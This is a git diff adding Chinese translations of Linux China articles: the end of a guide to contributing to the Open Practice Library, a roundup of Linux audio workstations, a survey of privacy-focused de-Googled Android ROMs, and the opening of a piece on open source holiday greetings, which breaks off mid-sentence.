+### 1、添加评论 + +分享你使用该实践的经验。它对你有用吗?你会改变什么吗?对其他使用该实践的人有什么建议吗?请登录评论系统,与社区展开讨论。 + +**方法:** 在每个实践页面的底部都有一个评论区。 + +![添加评论 (Donna Benjamin, CC BY-SA 4.0)][3] + +要加入评论对话,你必须在 [Hyvor Talk][5] 上注册一个账户。 + +### 2、传播消息 + +向其他人介绍开放实践图书馆并邀请他们也来贡献力量,以帮助开放实践图书馆社区的发展。可以在 [Twitter][6]、[Instagram][7] 上找到实践图书馆,并收听 [该播客][8]。 + +### 3、添加你最喜欢的实践 + +你是一个拥有久经考验的方法的实践者,而图书馆里还没有涉及这个方法吗?如果能与大家分享,那就太好了。请注意,这些内容是在创意共享许可下授权的,以确保其开放给所有人使用并与他人分享。请查看该图书馆的 [编辑风格指南][9],了解更多关于如何为其撰写一篇实践。 + +OK,准备好了吗? + +从菜单中选择 添加一个实践Add a Practice。 + +![添加一个实践 (Donna Benjamin, CC BY-SA 4.0)][10] + +这将使你进入内容管理系统(CMS)的登录页面。该图书馆使用开源的 Netlify CMS 来管理投稿。 + +选择 用 Netlify 身份登录Login with Netlify Identity。 + +![用 Netlify 身份登录 (Donna Benjamin, CC BY-SA 4.0)][11] + +然后点击 使用 GitHub 继续Continue with GitHub。 + +![使用 Github 继续 (Donna Benjamin, CC BY-SA 4.0)][12] + +接下来,用你的 GitHub 信息登录,或者(免费)创建一个账户。 + +![用 Github 的信息登录 (Donna Benjamin, CC BY-SA 4.0)][13] + +登录后,选择 新的实践New Practice,这将使你进入一个表格,可以将实践添加到集合中。 + +![选择新的实践 (Donna Benjamin, CC BY-SA 4.0)][14] + +一旦你起草了新的实践,你还需要把你的名字和 GitHub 用户名添加到 CMS 中,以便在 实践Practice 页面上显示。从 快速添加Quick add 菜单中选择 作者Author,或者从 集合 Collections 菜单中选择 作者Author,然后选择 新作者New Author。 + +![选择新作者 (Donna Benjamin, CC BY-SA 4.0)][15] + +### 4、添加一个有用的资源或链接 + +点击 改进此实践Improve this Practice 按钮,找到 我们喜欢的链接links we love部分。发布网址、添加描述、并选择类别(例如,视频、博客)。 + +![改进此实践的按钮 (Donna Benjamin, CC BY-SA 4.0)][16] + +你可以搜索你想改进的实践,例如,“Affinity Mapping”。 + +![搜索实践 (Donna Benjamin, CC BY-SA 4.0)][17] + +然后点击实践名称,打开编辑页面。 + +### 5、看到一个错别字? + +点击 改进此实践Improve this Practice 按钮,直接去修改它吧 + +### 6、在 GitHub 上添加一个议题 + +看到有什么不对的地方吗?对某个功能有建议?请让社区知道。 + +**如何做:** 到 [议题页面][18] 并登录 GitHub 来添加一个新议题。 + +### 7、帮助处理网站的代码 + +在 GitHub 上有一个累积的议题,列出了网站上需要帮助的地方。如果你想卷起袖子,[帮助修复错误][19] 或开发新功能 —— 你甚至还可以贡献代码。 + +### 总结 + +为什么要贡献?这里有三个原因供你考虑。 + + 1. “寓学于教”是一句古老的罗马谚语。 + + 通过写下来并与他人分享,你会加深自己对所使用的实践的理解。对该实践的来源背景做一些研究,帮助注明原始来源,并找到其使用的例子。 + + 2. 提高你的写作技巧。 + + 通过遵循编辑风格指南,你正在学习调整你的自然写作风格以适应特定的标准。这是一项有价值的基本沟通技巧,你可以在一系列的环境中应用。 + + 3. 展示领导力。 + + 通过与一个开放的全球社区分享你的知识和专长,你可以帮助他人成长并从你的深度经验中学习。 + +[向开放实践图书馆贡献][20] 是参与全球开放的实践者社区的一种有趣而简单的方式,这些实践者都愿意分享他们的知识,并试图改善他们自己的工作方式。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/10/open-practice-library + +作者:[Donna Benjamin][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/kattekrab +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/books_read_list_stack_study.png?itok=GZxb9OAv (Stack of books for reading) +[2]: https://openpracticelibrary.com/learn +[3]: https://opensource.com/sites/default/files/uploads/1_add-comment.png (Add a comment) +[4]: https://creativecommons.org/licenses/by-sa/4.0/ +[5]: https://talk.hyvor.com +[6]: https://twitter.com/practicelibrary +[7]: https://www.instagram.com/openpracticelibrary +[8]: https://podcasts.apple.com/us/podcast/open-practice-podcast/id1501715186 +[9]: https://openpracticelibrary.com/page/editorial/ +[10]: https://opensource.com/sites/default/files/uploads/2_add-practice.gif (Add a practice) +[11]: https://opensource.com/sites/default/files/uploads/2_login-netlify.png (Login with Netlify Identity) +[12]: https://opensource.com/sites/default/files/uploads/3_continue-github.png (Continue with Github) +[13]: https://opensource.com/sites/default/files/uploads/4_github_details.png (Log in with Github details) +[14]: https://opensource.com/sites/default/files/uploads/5_new-practice.gif (Select New Practice) +[15]: https://opensource.com/sites/default/files/uploads/6_select-new-author.gif (select New Author) +[16]: https://opensource.com/sites/default/files/styles/medium/public/uploads/7_improve-this-practice.png?itok=ypFLi0uu (Improve this Practice button) +[17]: https://opensource.com/sites/default/files/styles/medium/public/uploads/8_search-for-practice.png?itok=f81s25N8 (Search for practice) +[18]: https://github.com/openpracticelibrary/openpracticelibrary/issues/new +[19]: https://github.com/openpracticelibrary/openpracticelibrary/issues?q=is%3Aissue+is%3Aopen+label%3ABug +[20]: https://openpracticelibrary.com/page/contribution-guide diff --git a/published/202112/20211031 Best DAW (Digital Audio Workstation) Available for Linux Desktops.md b/published/202112/20211031 Best DAW (Digital Audio Workstation) Available for Linux Desktops.md new file mode 100644 index 0000000000..9a0d0f968e --- /dev/null +++ b/published/202112/20211031 Best DAW (Digital Audio Workstation) Available for Linux Desktops.md @@ -0,0 +1,152 @@ +[#]: subject: "Best DAW (Digital Audio Workstation) Available for Linux Desktops" +[#]: via: "https://itsfoss.com/best-daw-linux/" +[#]: author: "Ankush Das https://itsfoss.com/author/ankush/" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14042-1.html" + +最佳 Linux 桌面 DAW(数字音频工作站) +====== + +![](https://img.linux.net.cn/data/attachment/album/202112/02/123844cydiigpj23zgi7z7.jpg) + +数字音频工作站Digital Audio Workstation(DAW)可以让你录音、混音和制作音乐。对于商业用途,有几个主流的选择可以考虑,它们通常被认为是行业标准。 + +像 Steinberg 的 Nuendo/Cubase、ProTools、Ableton Live 和 FL Studio 这样成熟的音乐 DAW 是最流行(也是最昂贵)的解决方案。然而,它们并不能用于 Linux。 + +因此,当用在 Linux 上时,你只能根据现有的选项做出不同的选择。而在这里,我的目的是帮助你找出 Linux 上最好的音乐 DAW。 + +### 在使用 Linux 上的 DAW 之前要记住的事情 + +尽管你可以达到与 Windows/MacOS 系统相同的效果,但在选择使用 Linux 的 DAW 之前,你应该知道一些要点。 + +如果你是专业人士,并且使用过 Linux,你可能已经知道了这些。但是,对于新的 Linux 用户,这可以帮助你做出决定: + + * 许多音频接口没有正式支持 Linux。所以,你可能要在开始之前检查一下兼容性和音频设置过程。 + * 流行的音频插件可能无法直接工作。你必须得寻找替代品或尝试使用 Wine(这是一个耗时的过程)。 + * 即插即用的情况可能不存在。各种任务都需要手动设置。 + +总的来说,在 Linux 中使用 DAW 时,有一些先决条件。它可能不能简单地安装然后就能开始制作音乐。所以,在选择 Linux 作为 DAW 的首选平台之前,你需要了解这些。 + +请注意,有几个 [可用于 Linux 的音频编辑器][1],但不是所有的都可以作为一个成熟的 DAW 使用。 + +现在你知道了这些注意事项,让我提一下目前最好的 Linux DAW。 + +> 非 FOSS 警报! +> +> 这里提到的应用并不全是开源的。它们被列在这里是因为它们在 Linux 上可用,而这篇文章的重点是 Linux。 + +虽然可用于 Linux 的 DAW 可能有许多,但为了确保你得到最好的硬件/软件兼容性,以及易于使用的界面,我们将我们的列表限制在流行的选项上。 + +### 1、Ardour + +![][2] + +[Ardour][3] 是最流行的开源 DAW,可用于 Linux。它也可用于 Windows 和 macOS。 + +它是音乐家、音频工程师和作曲家的一个合适选择。你可以获得编辑乐谱和录制/混合歌曲的所有基本能力。 + +它自带几个插件支持。但是,你需要通过在插件管理器中手动添加它们到混音器中。另外,你可以选择通过指定路径来添加外部 VST3 插件。如果你想从中提取音频或同步,Ardour 还支持视频时间线。 + +#### 在 Linux 中安装 Ardour + +与其他付费版 DAW 不同,你不需要支付高昂的价格就可以使用它。你所需要做的就是购买一个低至 1 美元/月的订阅,只要你的订阅是有效的,你就可以继续访问这个程序和它的更新。 + +如果你对订阅不感兴趣,你可以选择一次性付款,这可以让你获得小版本更新和下一个主要版本(取决于你支付的金额)。 + +最重要的是,如果你喜欢测试即将到来的功能和改进,你还可以访问其开发(或每日)构建版本。 + +对于 Linux 发行版,它提供了一个 `.run` 文件,你可以轻松地从终端启动。 + +### 2、LMMS + +![][4] + +[LMMS][5] 是一个自由开源的 DAW,可用于 Linux 和其他平台。 + +与其他一些 DAW 相比,LMMS 在专业人员所需的专业方面可能有所欠缺。 + +然而,如果你刚刚开始创作音乐,或者需要一些无需购买/订阅就可以使用的东西,它应该可以满足你的一些功能需求。换句话说,它是一个合适的歌曲编辑 DAW。 + +如果你是从另一个平台上的 DAW 迁移来的,它的用户界面可能不太容易熟悉。但是,当你习惯了它,它就很容易使用了。 + +它还支持钢琴音符标签,以帮助你获得音乐制作体验。 + +#### 在 Linux 中安装 LMMS + +你可以选择下载一个 AppImage 文件,它可以在你选择的任何 Linux 发行版上工作。它的配置相当简单,所以你只需要指定一个工作目录就可以开始了。 + +### 3、Bitwig Studio + +![][6] + +[Bitwig Studio][9] 是流行的主流音乐 DAW 之一,也支持 Linux。与本列表中的其他 DAW 相比,Bitwig 提供了更好的跨平台支持和硬件集成。 + +即使你可能坚持使用 Linux 进行音乐制作,但拥有跨平台的支持,以便在你出门在外也可以继续你的工作,对一些人来说这也是一个重要的因素。 + +Bitwig 包括各种创意工具来处理音频文件和信号。所以,它完全可以满足专业要求。 + +### 在 Linux 中安装 Bitwig Studio + +它提供了一个传统的 DEB 包用于安装。你可以在“演示模式”下免费使用它,但它不允许你保存和导出任何东西。Bitwig Studio 在 [Flathub][8] 上还有一个 [Flatpak][7] 包。 + +要解锁所有的功能,你需要以 **$399** 的价格购买它。 + +### 4、REAPER + +![][10] + +[Reaper][11] 是一个可用于 Linux 的经济型 DAW。它提供了一个简单的用户界面和所有的基本功能。 + +和 Bitwig Studio 相比,它可能没有提供很多开箱即用的插件和功能,但它应该足以满足大多数通常的需求,如调制、自动化、使用 VST 插件等等。 + +尽管我没有亲自使用过它,但 Reaper 声称它是高度可定制的,并提供了与各种硬件的良好兼容性。 + +#### 在 Linux 中安装 Reaper + +与其他选择不同,Reaper 提供了一个 tar 包,你需要解压和安装。它包括一个脚本文件。因此,当你解压后,在该文件夹中打开终端或在终端中进入该文件夹,然后用以下命令执行该脚本: + +``` +./install-reaper.sh +``` + +当你安装它时,该脚本也会生成一个用于卸载的脚本。所以,在安装时一定要仔细选择文件夹,并确保在需要时能找到它。 + +在你需要购买它之前,你可以没有任何限制的免费使用它,最长可达 60 天。所以,如果你想在购买 DAW 之前彻底测试一下,我觉得这是一件非常好的事情。 + +个人使用的费用是 **\$60**,如果你需要用于商业用途,则需要 **\$225**。 + +### 总结 + +不幸的是,找不到太多可用于 Linux 的 DAW 。你可以尝试用 Wine 来运行一些流行的音乐 DAW,但我不确定成功率有多少。 + +无论是哪种情况,这里提到的这些对于大多数用户来说应该是绰绰有余了。 + +你喜欢哪种 DAW 用于音乐制作?请在下面的评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/best-daw-linux/ + +作者:[Ankush Das][a] +选题:[lujun9972][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/ankush/ +[b]: https://github.com/lujun9972 +[1]: https://itsfoss.com/best-audio-editors-linux/ +[2]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/09/ardour-daw.png?resize=800%2C476&ssl=1 +[3]: https://ardour.org/ +[4]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/09/lmms-daw.png?resize=800%2C476&ssl=1 +[5]: https://lmms.io/lsp/ +[6]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/bitwig-studio-linux.png?resize=800%2C457&ssl=1 +[7]: https://itsfoss.com/what-is-flatpak/ +[8]: https://flathub.org/apps/details/com.bitwig.BitwigStudio +[9]: https://www.bitwig.com/ +[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/10/reaper-linux.png?resize=800%2C614&ssl=1 +[11]: https://www.reaper.fm diff --git a/published/202112/20211114 5 De-Googled Android-based Operating Systems to Free Your Smartphone from Google and other Big Tech.md b/published/202112/20211114 5 De-Googled Android-based Operating Systems to Free Your Smartphone from Google and other Big Tech.md new file mode 100644 index 0000000000..20b4d816b7 --- /dev/null +++ b/published/202112/20211114 5 De-Googled Android-based Operating Systems to Free Your Smartphone from Google and other Big Tech.md @@ -0,0 +1,284 @@ +[#]: subject: "5 De-Googled Android-based Operating Systems to Free Your Smartphone from Google and other Big Tech" +[#]: via: "https://itsfoss.com/android-distributions-roms/" +[#]: author: "Pratham Patel https://itsfoss.com/author/pratham/" +[#]: collector: "lujun9972" +[#]: translator: "wxy" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14047-1.html" + +5 个去谷歌化的安卓操作系统 +====== + +![](https://img.linux.net.cn/data/attachment/album/202112/04/143224d46wb5bqsw7xbsw7.jpg) + +> 让你的智能手机摆脱谷歌和其他科技巨头。 + +随着谷歌和 Facebook 等广告巨头对你的个人和私密设备(如手机和平板电脑)的监控不断增加,现在是时候处理这个问题了。 + +最有效的方法之一是安装注重隐私/安全的安卓 ROM。 + +你可能想知道,为什么要在你的手机上安装一个与预装系统不同的、基于安卓的操作系统。让我给你几个理由: + + * 你的 [手机制造商与 Facebook 等实体合作,在你的手机上预装了各种应用程序][1],仅仅是卸载这些应用程序可能无法摆脱它们(当操作系统有新的更新时,它们往往会被重新安装)。 + * 通常,安卓设备制造商会提供三到四年的更新。其中大部分仅限于各种奇怪的安全补丁,以及一些安卓系统的升级。使用定制 ROM,你可以通过接收更多更新来延长设备的使用寿命。 + * 由于这些现成的安卓 ROM 除了必要的东西外没有捆绑任何东西,你的手机不会太臃肿,反应更敏捷。 + * 较少的预装软件也意味着在后台运行的服务较少,从而可提升性能并延长电池使用时间。 + * 大量的定制选项。 + * 容易回滚更新(因为以前的版本在 ROM 的网站上可以找到)。 + +> **警告** +> +> 如果你决定在实际设备上使用这些操作系统之一,请小心。在你的设备上刷入任何第三方 ROM 将使其保修失效,如果操作不当,甚至可能使你的设备失去作用。安装定制的 ROM 也需要一定的专业知识,即使如此,你也可能遇到问题,特别是如果你选择的操作系统不支持该设备。对你的设备造成的任何损害,我们概不负责。 + +参考了上述重要信息之后,如果你仍想进行实验,我们建议你始终在备用设备上进行尝试。 + +除此之外,你还应该记住以下几点: + +- 安装自定义的安卓 ROM 可以增强开箱即用的安全性。但是,你必须确保自己采取了必要的措施。 +- 你手机的所有硬件功能可能在定制 ROM 上不工作。 +- 解锁引导加载程序是一个必要步骤,但这样做可能会带来安全问题。 + +这个列表特别关注基于安卓的发行版和定制 ROM。我们有一个另外单独的 [开源移动操作系统][2] 列表,包括 Ubuntu Touch 和 PureOS 等选项。 + +注:名单排名不分先后。你应该选择更多地了解所提到的选项,并决定什么最适合你。 + +### 1、LineageOS + +![Lineage OS 用户界面的几张截图][3] + +[LineageOS][4] 可以说是最受欢迎的安卓 ROM 之一,它是非常流行的([但自 2016 年以来已经消亡][5]])的 CyanogenMod 的一个复刻。由于 LineageOS 很流行,你可能会发现很多设备支持该操作系统。 + +换句话说,与其他定制安卓 ROM 相比,你可以更快地获得对新设备的支持,以及对各种旧设备的支持。 + +如果你有的话,LineageOS 甚至支持你的 Nvidia Shield 电视机和 Jetson Nano([用于 AI 和深度学习项目的最佳单板计算机][6] 之一)。 + +- [获取 LineageOS][7] + +#### 优点 + + * 优秀的官方和第三方文档 + * 支持设备的及时更新 + * LineageOS 非常紧跟 AOSP 树(适用于想要最原始安卓体验的人) + * 与原厂固件相比,“预装软件”更少。 + +#### 缺点 + + * LineageOS 项目是一个社区项目,所以并非你手机上所有的硬件功能都能开箱即用。 + * 没有提供很多开箱即用的安全/隐私功能。 + +### 2、CalyxOS + +![CalyxOS 的主页以及他们的用户界面一瞥][8] + +[CalyOS][9] 是一个相当有趣的、基于 [安卓开源项目(AOSP)][10] 的安卓操作系统。CalyxOS 没有提供谷歌移动服务(GMS),而是让用户自己去想办法(可以刷入谷歌应用),但是它提供了 [microG][11],你可以选择启用/禁用它,从而完全控制你的手机。 + +CalyxOS 得到了 [Calyx Institute][12] 的支持,这是一个非营利组织,旨在促进个人权利,如言论自由、隐私权等。 + +它内置了一些注重隐私的应用程序,如 Signal、Tor 浏览器等。尽管对 CalyxOS 的支持仅限于 Pixel 手机,但在大多数情况下,它为用户提供了大量开箱即用的隐私功能,让用户具有领先优势。 + +- [获取 CalyxOS][13] + +#### 优点 + + * 使用 [microG][11]。 + * 带有 [F-Droid][14] 和 [Aurora 商店][15] 而不是谷歌应用商店。 + * Datura 防火墙允许你阻止每个应用程序的互联网访问。 + * 使用 [Mozilla 定位服务][16] 而不是谷歌的定位服务。 + * 每月一次的在线安全更新。 + * 经过验证的启动程序,以提高安全性。 + * 开箱即用的以安全为中心的应用程序和功能。 + +#### 缺点 + + * 只适用于 Pixel 手机([但这背后有一个很好的理由][17])。 + +### 3、GrapheneOS + +![GrapheneOS 安装在 Pixel 设备上的照片][18] + +[GrapheneOS][19] 是一个基于安卓的 ROM,专注于安全和隐私。虽然人们可能会争论说,他们的努力更多的是为了提高安全性,但这样做也有利于你的隐私。 + +如果你想安装带有开箱即用的、特殊安全调整过的定制 ROM,GrapheneOS 应该是一个不错的选择。 + +与其他一些定制 ROM 不同,它没有包括启用/禁用 microG 的功能,这恰好为依赖于 Google Play 服务的应用程序提供了更好的支持。但是,GrapheneOS 可以 [对 Google Play 服务进行沙箱处理][20],这应该可以让你使某些功能正常工作。但是,截至目前,它仍然是实验性的。 + +- [获取 GrapheneOS][21] + +#### 优点 + + * 提供比 AOSP 更强大、加固过的应用程序沙盒。 + * 使用自己 [加固过的 malloc][22](具有加固了安全性的内存分配器)。 + * Linux 内核经过了加固,安全性更高。 + * 提供及时的安全更新。 + * 具备全盘加密功能(对移动设备来说非常重要)。 + * 不包括任何谷歌应用程序或谷歌服务。 + +#### 缺点 + + * 有限的硬件支持;仅适用于谷歌 Pixels。 + * 以安全为中心的调整可能不会转化为对新手友好的用户体验。 + +### 4、/e/OS + +![看一下 /e/OS 中的应用启动器,以及对 /e/OS 的应用商店评级的概述][23] + +你可能认为 [/e/OS][24] 只不过是又一个安卓操作系统,这 _一定程度上_ 是对的。先别急着否定这个安卓 ROM。它远超于任何现成的基于安卓的操作系统。 + +最大的特点是 [eFoundation][25](在 /e/OS 背后的基金会)为你提供了一个免费的 [ecould 账户][26](有 1GB 的存储空间),而不需要使用谷歌账户。 + +像任何尊重隐私的安卓 ROM 一样,/e/OS 将每一个与谷歌相关的模块或应用都替换成了自由软件替代品。 + +旁注:eFoundation 也销售预装了 /e/OS 的手机。[请看这里][27]。 + +- [获取 /e/OS][28] + +#### 优点 + + * /e/OS 上的应用程序商店根据需要的权限以及对隐私的友好程度来对应用程序进行评级。 + * 提供了一个 [ecloud 账户][26](带有 @e.email 后缀;免费级提供 1GB)作为同步账户。 + * 配备了 [microG][11] 框架。 + * 谷歌 DNS 服务器(8.8.8.8 和 8.8.4.4)被替换为 [Quad9][29] 的 DNS 服务器。 + * DuckDuckGo 是替代谷歌的默认搜索引擎。 + * 使用由 [Mozilla][16] 提供的位置服务。 + +#### 缺点 + + * 设备兼容性非常有限。 + * 从安卓系统推出新功能需要一段时间。 + +### 5、CopperheadOS + +![CopperheadOS 网站上关于手机安全和隐私的标语][30] + +> **警告** +> +> 这不是一个开源项目。列在这里只是为感兴趣的用户提供的附加选项。 + +[CopperheadOS][31] 是另一个有趣的安卓 ROM。它是由一个只有两个人的团队开发的。 + +与其他选项不同,CopperheadOS 不是开源项目,你可能无法在你的手机上使用它。 + +它面向企业部署。因此,如果你想为你的员工购买安卓设备并调整安全性,那么这值得考虑。 + +- [获得 CopperheadOS][32] + +#### 优点 + + * 与其他安卓 ROM 文档相比 [更优良的文档][33]。 + * CopperheadOS 在 AOSP 之前就有许多面向安全的功能。 + * 使用 Cloudfare DNS(1.1.1.1 和 1.0.0.1)而不是谷歌的 DNS(8.8.8.8 和 8.8.4.4)。 + * 包括一个用于控制每个应用程序权限的互联网防火墙。 + * 使用开源应用程序,而不是过时的 AOSP 应用程序(日历、短信、画廊等)。 + * 包括 [F-Droid][14] 和 [Aurora 应用商店][15]。 + +#### 缺点 + + * [在主要的开发者出走之后,CopperheadOS 的安全性存在质疑][34] 。 + * 仅适用于预装 CopperheadOS 的手机。 + * 没有迹象表明 SafetyNet 会在 CopperheadOS 上工作。 + +### 荣誉提名:LineageOS for microG + +![LineageOS for microG 中包含的应用程序列表][35] + +[LineageOS for microG][36] 项目是官方 LineageOS 项目的一个复刻,默认包含 [microG][11] 和谷歌应用。这个项目负责确保 microG 在你的手机上完美运行(这对初学者来说可能是一个复杂的过程)。 + +- [获取 LineageOS for MicroG][37] + +#### 优点 + + * 提供了 GMS 的 microG 实现,没有任何不便之处。 + * 提供 [F-Droid][14] 作为默认的应用商店。 + * 提供每周/每月一次的在线更新。 + * 可以选择使用由 [Mozilla][16] 或 [Nominatim][38] 提供的定位服务。 + +#### 缺点 + + * 启用签名欺骗以启用 microG 支持,从安全角度来看,可能是一个攻击方向。 + * 尽管这个 ROM 是基于 LineageOS 的,但在写这篇文章时,并不是所有的 LineageOS 设备都支持。 + * 包括谷歌应用程序,而不是提供开源的替代品。 + * 无法确认谷歌的 SafetyNet 是否工作。 + +### 附加信息 + +你可能想知道为什么一些有趣的基于安卓的 ROM(CalyxOS、GrapheneOS 等)只限于支持谷歌的手机。这不是很讽刺吗? + +嗯,这是因为大多数手机都支持解锁引导器,但只有谷歌 Pixels 支持再次锁定引导器。当你为关注隐私和/或安全的人群开发基于安卓的 ROM 时,这是一个考虑因素。如果启动器被解锁,它就是一个你尚未修补的攻击方向。 + +另一个具有讽刺意味的原因是,只有谷歌才及时向公众提供他们手机的设备树和内核源代码。如果没有设备树和内核源代码,你就无法为该手机开发 ROM。 + +无论你选择何种 ROM,我都会推荐以下 FOSS 应用程序。它们将被证明是对你的隐私友好应用程序工具包的一个很好的补充。 + + * [Signal Messenger][39] + * [K-9 邮件][40] + * [DuckDuckGo 浏览器][41] + * [Tor 浏览器][42]。 + * [F-Droid][14] + * [Aurora 商店][15] + * [OpenKeychain][43] + +### 总结 + +在我看来,如果你有一部谷歌 Pixel 手机,我建议你尝试一下 CalyxOS、GrapheneOS 或 CopperheadOS。这些安卓 ROM 有出色的功能,可以帮助你的手机远离谷歌的监视,同时还可以让你的手机(可以说是)更加安全。 + +如果你没有谷歌 Pixel,你仍然可以尝试一下 LineageOS for MicroG。这是一项很好的社区贡献,在不侵犯你的隐私的情况下,它把谷歌的专有功能带给大众。 + +如果你的手机不被上述任何一个操作系统支持,那么 LineageOS 就是你的朋友。由于它对手机的支持广泛,毫无疑问,无论是官方还是非官方,你的手机都可以得到支持。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/android-distributions-roms/ + +作者:[Pratham Patel][a] +选题:[lujun9972][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/pratham/ +[b]: https://github.com/lujun9972 +[1]: https://9to5google.com/2020/08/05/oneplus-phones-will-ship-with-facebook-services-that-cant-be-removed/ +[2]: https://itsfoss.com/open-source-alternatives-android/ +[3]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/11/01_lineageos.webp?w=1200&ssl=1 +[4]: https://lineageos.org/ +[5]: https://www.androidauthority.com/cyanogenmod-lineageos-654810/ +[6]: https://itsfoss.com/best-sbc-for-ai/ +[7]: https://lineageos.org/ +[8]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/02_calyx-1.webp?w=1264&ssl=1 +[9]: https://calyxos.org/ +[10]: https://www.androidauthority.com/aosp-explained-1093505/ +[11]: https://microg.org/ +[12]: https://calyxinstitute.org/projects/calyx-os +[13]: https://calyxos.org/install/ +[14]: https://www.f-droid.org/en/about/ +[15]: https://auroraoss.com/ +[16]: https://location.services.mozilla.com/ +[17]: https://calyxos.org/docs/guide/device-support/#requirements-for-supporting-a-new-device +[18]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/03_graphene.webp?resize=800%2C600&ssl=1 +[19]: https://grapheneos.org/ +[20]: https://twitter.com/grapheneos/status/1445572173389725709 +[21]: https://grapheneos.org/ +[22]: https://github.com/GrapheneOS/hardened_malloc +[23]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2021/11/06_eos-1.webp?w=600&ssl=1 +[24]: https://e.foundation/e-os/ +[25]: https://e.foundation/ +[26]: https://e.foundation/ecloud/ +[27]: https://esolutions.shop/ +[28]: https://e.foundation/e-os/ +[29]: https://www.quad9.net/ +[30]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/04_copperheados.webp?resize=1536%2C806&ssl=1 +[31]: https://copperhead.co/ +[32]: https://copperhead.co/android/docs/install/ +[33]: https://copperhead.co/android/docs/ +[34]: https://twitter.com/DanielMicay/status/1068641901157511168 +[35]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/11/05_losmicrog.webp?resize=864%2C1536&ssl=1 +[36]: https://lineage.microg.org/ +[37]: https://download.lineage.microg.org/ +[38]: https://nominatim.org/ +[39]: https://signal.org/ +[40]: https://k9mail.app/ +[41]: https://duckduckgo.com/app +[42]: https://www.torproject.org/ +[43]: https://www.openkeychain.org/ \ No newline at end of file diff --git a/published/202112/20211121 4 open source ways to create holiday greetings.md b/published/202112/20211121 4 open source ways to create holiday greetings.md new file mode 100644 index 0000000000..11d9c76dd3 --- /dev/null +++ b/published/202112/20211121 4 open source ways to create holiday greetings.md @@ -0,0 +1,106 @@ +[#]: subject: "4 open source ways to create holiday greetings" +[#]: via: "https://opensource.com/article/21/11/open-source-holiday-greetings" +[#]: author: "Don Watkins https://opensource.com/users/don-watkins" +[#]: collector: "lujun9972" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14038-1.html" + +创建节日问候的 4 种开源方式 +====== + +> 开源工具和资源为任何节日提供了创造性的可能性。 + +![](https://img.linux.net.cn/data/attachment/album/202112/01/113447fkk2du1udmdu2n0d.jpg) + +节日再次来临,今年我决定用 [开源方式][2] 来庆祝。就像一个特别有名的假期忙人一样,我有一个长长的节日任务清单(我打算再三检查):制作一张贺卡(带地址的明信片)寄给家人和朋友,用合适的节日歌曲制作照片蒙太奇或视频,并装饰我的虚拟办公室。有很多开源的应用和资源使我的工作更容易。以下是我使用的东西。 + +### Inkscape 和剪贴画 + +我最喜欢的资源之一是 [FreeSVG.org][3](前身是 Openclipart.org)。这里很容易找到你喜欢的节日,包括光明节、圣诞节、新年等等。这些剪贴画都是由像你我这样的用户贡献的,并且是 CC0 版权,所以你甚至不需要提供署名。当然,在可能的情况下,我还是会注明出处,以确保 FreeSVG 和它的艺术家们获得知名度。 + +下面是 FreeSVG 的一些剪贴画的例子: + +![一幅棕色玉米棒的漫画,上面有红色的苹果、橙色的南瓜和棕色的坚果溢出来。][4] + +openclipart.com, [CC0 1.0][5] + +使用 [Inkscape][6] 的文本路径工具,我在图片上添加了我自己的文字,我把它用在卡片上。如果再做些工作,我还可以把这个图形用在一些定制的杯子或餐垫上。 + +![一幅棕色玉米棒的漫画,上面有红色的苹果、橙色的南瓜和棕色的坚果溢出来,上面有一个拱门形的“我们感谢”的字样。][7] + +Don Watkins, [CC BY-SA 4.0][8] + +### 文字处理 + +[LibreOffice][9] Writer 可以用来制作贺卡和海报,然后在你的家中使用或分发给你的朋友和家人。使用 LibreOffice Calc 创建一个关于你的家人和朋友的数据库,然后利用这一资源,用邮件合并功能简化制作邮件标签的过程。 + +### 创作共用的图片和图形 + +[search.creativecommons.org][10] 上也有艺术品。注意许可证类型:对任何需要署名的东西给予适当的致谢。这张图片([“Thanksgiving Dealies”][11])来自创作共用图片搜索。它的作者是 [Martin Cathrae][12],并在 [CC BY-SA 2.0][13] 下授权,因此它可以在相同的许可证下被改编、重复使用和分享。 + +![用南瓜壳做花架,摆放红色和黄色小花束的烛光中心装饰。][14] + +[Martin Cathrae][12], [CC BY-SA 2.0][13] + +我拿着这张相同的图片,用 [GIMP][15] 在上面添加了一些我自己的文字。你可以用 Inkscape 来做同样的事情。 + +![用南瓜壳作为花架,放置红色和黄色的小花束的烛光中心作品,图片左上方有“节日快乐”字样。][16] + +Don Watkins,[CC BY-SA 4.0][17] + +创作共用Creative Commons提供了大量的图片,在你的下一次 [视频会议][18] 期间,可以这些图片作为一个节日背景。 + +### 视频和实时流媒体 + +你也可以把这些图片与你自己的一些图片结合起来,用 [OpenShot][19] 视频编辑器创建一个简短的视频剪辑。你可以通过使用 Audacity 